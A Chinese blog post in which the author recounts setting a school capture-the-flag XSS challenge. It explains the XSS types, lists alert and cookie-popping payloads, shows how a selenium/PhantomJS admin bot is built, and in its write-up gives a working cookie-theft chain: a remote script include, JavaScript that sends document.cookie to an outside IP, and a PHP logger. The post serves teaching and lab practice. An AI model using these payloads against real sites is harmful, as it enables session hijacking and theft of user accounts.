记ctf校赛simple_xss出题
这篇文章也拖了半年才发,主要是硬盘坏了,原本的博客文件丢失,新搭了子博客,可以发出来了。
XSS
跨站脚本攻击(XSS),是目前最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。
XSS类型
反射型XSS
反射型XSS也叫非持久型XSS,是指发生请求时,XSS代码出现在请求URL中,作为参数提交到服务器,服务器解析并响应。响应结果中包含XSS代码,最后浏览器解析并执行。从概念上可以看出,反射型XSS代码是首先出现在URL中的,然后需要服务端解析,最后需要浏览器解析之后XSS代码才能够攻击。
存储型XSS
存储型XSS也叫持久型XSS,主要是将XSS代码发送到服务器(不管是数据库、内存还是文件系统等。),然后在下次请求页面的时候就不用带上XSS代码了。最典型的就是留言板XSS。用户提交了一条包含XSS代码的留言到数据库。当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来。浏览器发现有XSS代码,就当做正常的HTML和JS解析执行。XSS攻击就发生了。
一般用在如下地方:
- 窃取用户信息,如cookie,token,账号密码等。
- 劫持流量实现恶意跳转
DOM型XSS
DOM型XSS:不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。
XSS攻击载荷
以下所有标签的>
都可以用//
代替,例如 <script>alert(1)</script//
script标签
<script>alert("xss")</script>
<script>alert(/xss/)</script>
<script>alert(1)</script>
<script>alert(document.cookie)</script> #弹出cookie
<script src=http://xxx.com/xss.js></script> #引用外部的xss
svg标签
<svg onload="alert(1)">
<svg onload="alert(1)"//
img标签
<img src=1 οnerrοr=alert("xss")>
<img src=1 οnerrοr=alert(document.cookie)> #弹出cookie
body标签
<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>
xss_bot
xss bot就是代替管理员去完成点击页面的任务,bot需要能够执行js,事情的本质是我们需要一个浏览器内核来解析js.xss bot一般会用selenium+webdriver
selenium
selenium是用来控制webdriver的接口的.
Selenium测试直接运行在浏览器中,就像真正的用户在操作一样。支持的浏览器包括IE(7, 8, 9, 10, 11),Firefox,Safari,Chrome,Opera等。
使用python爬虫调用selenium来模拟正常用户访问浏览器.
最新版selenium已经放弃PhantomJS了,selenium版本降级安装
pip install selenium==2.48.0
phantomjs
chrome和firefox的webdriver都有一个特点,就是需要桌面,我们搭建题目在docker环境中会有问题,
phantomjs和别的浏览器本质上没什么区别,差不多也是类似于浏览器的内核,优势其实是多平台支持无图形化,而且不需要浏览器支持。
安装
第一种方式
apt-get install phantomjs
需要加
但是因为这样安装的不全,再python执行的时候,会报跟json编码有关的错。
sudo apt-get install nodejs
sudo apt-get install nodejs-legacy
sudo apt-get install npm
sudo npm -g install phantomjs-prebuilt 可以这样安装一个完整的环境
第二种方式:
wget http://npm.taobao.org/mirrors/phantomjs/phantomjs-2.1.1-linux-x86_64.tar.bz2
tar xvjf phantomjs-2.1.1-linux-x86_64.tar.bz2
sudo cp phantomjs-2.1.1-linux-x86_64/bin/phantomjs /usr/bin/
代码部分
from selenium import webdriver
import time
#要想调用键盘按键,鼠标操作需要引入keys包
from selenium.webdriver.common.keys import Keys
#创建PhantomJS浏览器对象
driver = webdriver.PhantomJS()#driver = webdriver.PhantomJS('/usr/bin/phantomjs')
#加载网站页面
driver.get("http://127.0.0.1:5000/login.html")
#找到页面input输入标签并填充文本内容admin
driver.find_element_by_id('username').send_keys("admin")
driver.find_element_by_id('password').send_keys("123456") #输入帐号密码登录网站
#By Name 找到name=login的按钮并模拟点击
data = driver.find_element_by_name('login').click()
time.sleep(1)
#管理员登录状态访问存在xss的页面
driver.get("http://127.0.0.1:5000/home.php")
driver.quit()
wp
简单的xss,没有任何过滤,不过实际测试时双引号会被过滤,在留言处插入<script>alert('xss')</script>
弹窗成功,接下来就是打admin的cookie,可以选择xss平台也可以自己写,这里贴上cchan的payload供大家参考.
<script src=//xxx.xx.xxx.xxx/cookie.js></script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://106.15.194.242/cookie.php?' + document.cookie);
xhr.send();
<?php
header('Access-Control-Allow-Origin: *');
file_put_contents('cookie.txt', $_SERVER['QUERY_STRING']."\n", FILE_APPEND);
出题时没考虑到搅屎,admin被插入跳转后,后面的就渲染不出来了,不得不重置数据库。还有一点是为了区分用户和admin bot,我写了$_SERVER[‘HTTP_REFERER’],有跳转的视为正常用户进入home.php,无跳转且cookie为admin就直接输出flag,所以如果大家直接进入admin的界面,需要把referer清空。
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!